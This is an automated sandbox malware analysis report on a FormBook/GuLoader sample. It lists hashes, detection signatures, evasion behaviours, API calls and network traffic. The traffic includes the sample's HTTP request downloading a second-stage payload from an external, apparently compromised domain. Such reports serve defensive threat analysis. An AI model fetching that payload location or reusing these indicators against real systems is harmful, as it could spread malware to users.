Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Anfrage_244384.exe

Overview

General Information

Sample name:Anfrage_244384.exe
Analysis ID:1552316
MD5:b03f23199ae987a7bce0ff1a0d742e3e
SHA1:f454c8de72926ee9f98db7056fa89f0c3ada9666
SHA256:eda014e3b658bfbbfd141c1459a3414d9ee8b7c139a3976fe732141fa9cf3f80
Infos:

Detection

FormBook, GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Anfrage_244384.exe (PID: 5432 cmdline: "C:\Users\user\Desktop\Anfrage_244384.exe" MD5: B03F23199AE987A7BCE0FF1A0D742E3E)
    • Anfrage_244384.exe (PID: 7152 cmdline: "C:\Users\user\Desktop\Anfrage_244384.exe" MD5: B03F23199AE987A7BCE0FF1A0D742E3E)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000000.00000002.2549842058.00000000048C3000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security

      Sigma Signatures

      ⊘No Sigma rule has matched

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-08T15:58:10.599799+010020229301A Network Trojan was detected52.149.20.212443192.168.2.549704TCP
      2024-11-08T15:58:39.578370+010020229301A Network Trojan was detected52.149.20.212443192.168.2.564321TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-08T15:58:51.330291+010028032702Potentially Bad Traffic192.168.2.564376188.40.95.144443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: Anfrage_244384.exeAvira: detected
      Multi AV Scanner detection for submitted file
      Source: Anfrage_244384.exeReversingLabs: Detection: 15%
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
      Source: Anfrage_244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.5:64376 version: TLS 1.2
      Source: Anfrage_244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage_244384.exe, 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961169455.00000000342E9000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2963309994.0000000034498000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage_244384.exe, Anfrage_244384.exe, 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961169455.00000000342E9000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2963309994.0000000034498000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Joe Sandbox ViewIP Address: 188.40.95.144 188.40.95.144
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:49704
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:64321
      Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64376 -> 188.40.95.144:443
      Source: global trafficHTTP traffic detected: GET /LxuQG254.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET /LxuQG254.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: global trafficDNS traffic detected: DNS query: familytherapycenter.rs
      Source: Anfrage_244384.exeString found in binary or memory: http://crl.apple.com/root.crl0
      Source: Anfrage_244384.exeString found in binary or memory: http://crl.apple.com/timestamp.crl0
      Source: Anfrage_244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
      Source: Anfrage_244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: Anfrage_244384.exeString found in binary or memory: http://www.apple.com/appleca0
      Source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
      Source: Anfrage_244384.exe, 00000004.00000001.2548718587.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
      Source: Anfrage_244384.exe, 00000004.00000001.2548718587.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
      Source: Anfrage_244384.exe, 00000004.00000003.2961658972.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961507156.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/
      Source: Anfrage_244384.exe, 00000004.00000003.2961658972.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961507156.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/J
      Source: Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/LxuQG254.bin
      Source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
      Source: Anfrage_244384.exeString found in binary or memory: https://www.apple.com/appleca/0
      Source: unknownNetwork traffic detected: HTTP traffic on port 64376 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 64376
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.5:64376 version: TLS 1.2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040511A GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040511A

      E-Banking Fraud

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess Stats: CPU usage > 49%
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B35C0 NtCreateMutant,LdrInitializeThunk,4_2_346B35C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_346B2DF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B3010 NtOpenDirectoryObject,4_2_346B3010
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B3090 NtSetValueKey,4_2_346B3090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B3D70 NtOpenThread,4_2_346B3D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B3D10 NtOpenProcessToken,4_2_346B3D10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B39B0 NtGetContextThread,4_2_346B39B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B4650 NtSuspendThread,4_2_346B4650
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B4340 NtSetContextThread,4_2_346B4340
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2C60 NtCreateKey,4_2_346B2C60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2C70 NtFreeVirtualMemory,4_2_346B2C70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2C00 NtQueryInformationProcess,4_2_346B2C00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2CF0 NtOpenProcess,4_2_346B2CF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2CC0 NtQueryVirtualMemory,4_2_346B2CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2CA0 NtQueryInformationToken,4_2_346B2CA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2D30 NtUnmapViewOfSection,4_2_346B2D30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2D00 NtSetInformationFile,4_2_346B2D00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2D10 NtMapViewOfSection,4_2_346B2D10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2DD0 NtDelayExecution,4_2_346B2DD0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2DB0 NtEnumerateKey,4_2_346B2DB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2E30 NtWriteVirtualMemory,4_2_346B2E30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2EE0 NtQueueApcThread,4_2_346B2EE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2EA0 NtAdjustPrivilegesToken,4_2_346B2EA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2E80 NtReadVirtualMemory,4_2_346B2E80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2F60 NtCreateProcessEx,4_2_346B2F60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2F30 NtCreateSection,4_2_346B2F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2FE0 NtCreateFile,4_2_346B2FE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2FA0 NtQuerySection,4_2_346B2FA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2FB0 NtResumeThread,4_2_346B2FB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2F90 NtProtectVirtualMemory,4_2_346B2F90
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2AF0 NtWriteFile,4_2_346B2AF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2AD0 NtReadFile,4_2_346B2AD0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2AB0 NtWaitForSingleObject,4_2_346B2AB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2B60 NtClose,4_2_346B2B60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2BE0 NtQueryValueKey,4_2_346B2BE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2BF0 NtAllocateVirtualMemory,4_2_346B2BF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2BA0 NtEnumerateValueKey,4_2_346B2BA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B2B80 NtQueryInformationFile,4_2_346B2B80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Windows\resources\soenderbro.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004049590_2_00404959
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040655F0_2_0040655F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00406D360_2_00406D36
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346714604_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473F43F4_2_3473F43F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347375714_2_34737571
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347495C34_2_347495C3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471D5B04_2_3471D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C56304_2_346C5630
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347316CC4_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473F7B04_2_3473F7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473F0E04_2_3473F0E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347370E94_2_347370E9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C04_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F0CC4_2_3472F0CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B516C4_2_346B516C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F1724_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474B16B4_2_3474B16B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468B1B04_2_3468B1B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C04_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346852A04_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D34C4_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473132D4_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C739A4_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F9C324_2_346F9C32
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473FCF24_2_3473FCF2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34737D734_2_34737D73
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683D404_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34731D5A4_2_34731D5A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FDC04_2_3469FDC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34689EB04_2_34689EB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473FF094_2_3473FF09
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473FFB14_2_3473FFB1
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681F924_2_34681F92
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED8004_2_346ED800
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346838E04_2_346838E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346899504_2_34689950
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B9504_2_3469B950
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347159104_2_34715910
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F3A6C4_2_346F3A6C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34737A464_2_34737A46
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473FA494_2_3473FA49
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472DAC64_2_3472DAC6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C5AA04_2_346C5AA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34721AA34_2_34721AA3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471DAAC4_2_3471DAAC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473FB764_2_3473FB76
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346BDBF94_2_346BDBF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F5BF04_2_346F5BF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FB804_2_3469FB80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347324464_2_34732446
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347244204_2_34724420
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472E4F64_2_3472E4F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346805354_2_34680535
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347405914_2_34740591
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469C6E04_2_3469C6E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346807704_2_34680770
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A47504_2_346A4750
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467C7C04_2_3467C7C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347120004_2_34712000
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347081584_2_34708158
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346701004_2_34670100
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471A1184_2_3471A118
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347381CC4_2_347381CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347341A24_2_347341A2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347401AA4_2_347401AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347202744_2_34720274
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347002C04_2_347002C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473A3524_2_3473A352
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347403E64_2_347403E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468E3F04_2_3468E3F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34680C004_2_34680C00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34670CF24_2_34670CF2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34720CB54_2_34720CB5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468AD004_2_3468AD00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471CD1F4_2_3471CD1F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467ADE04_2_3467ADE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34698DBF4_2_34698DBF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34680E594_2_34680E59
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473EE264_2_3473EE26
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473EEDB4_2_3473EEDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473CE934_2_3473CE93
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34692E904_2_34692E90
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F4F404_2_346F4F40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34722F304_2_34722F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C2F284_2_346C2F28
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A0F304_2_346A0F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468CFE04_2_3468CFE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34672FC84_2_34672FC8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FEFA04_2_346FEFA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468A8404_2_3468A840
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346828404_2_34682840
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AE8F04_2_346AE8F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346668B84_2_346668B8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346969624_2_34696962
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346829A04_2_346829A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474A9A64_2_3474A9A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467EA804_2_3467EA80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473AB404_2_3473AB40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34736BD74_2_34736BD7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346EEA12 appears 82 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 3466B970 appears 280 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346C7E54 appears 111 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346B5130 appears 58 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346FF290 appears 103 times
      Source: Anfrage_244384.exeStatic PE information: invalid certificate
      Source: Anfrage_244384.exe, 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exe, 00000004.00000003.2961169455.000000003440C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exe, 00000004.00000003.2963309994.00000000345C5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal84.troj.evad.winEXE@3/10@1/1
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004043E6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_004043E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,0_2_004020CD
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Roaming\secretaryshipsJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsr387F.tmpJump to behavior
      Source: Anfrage_244384.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
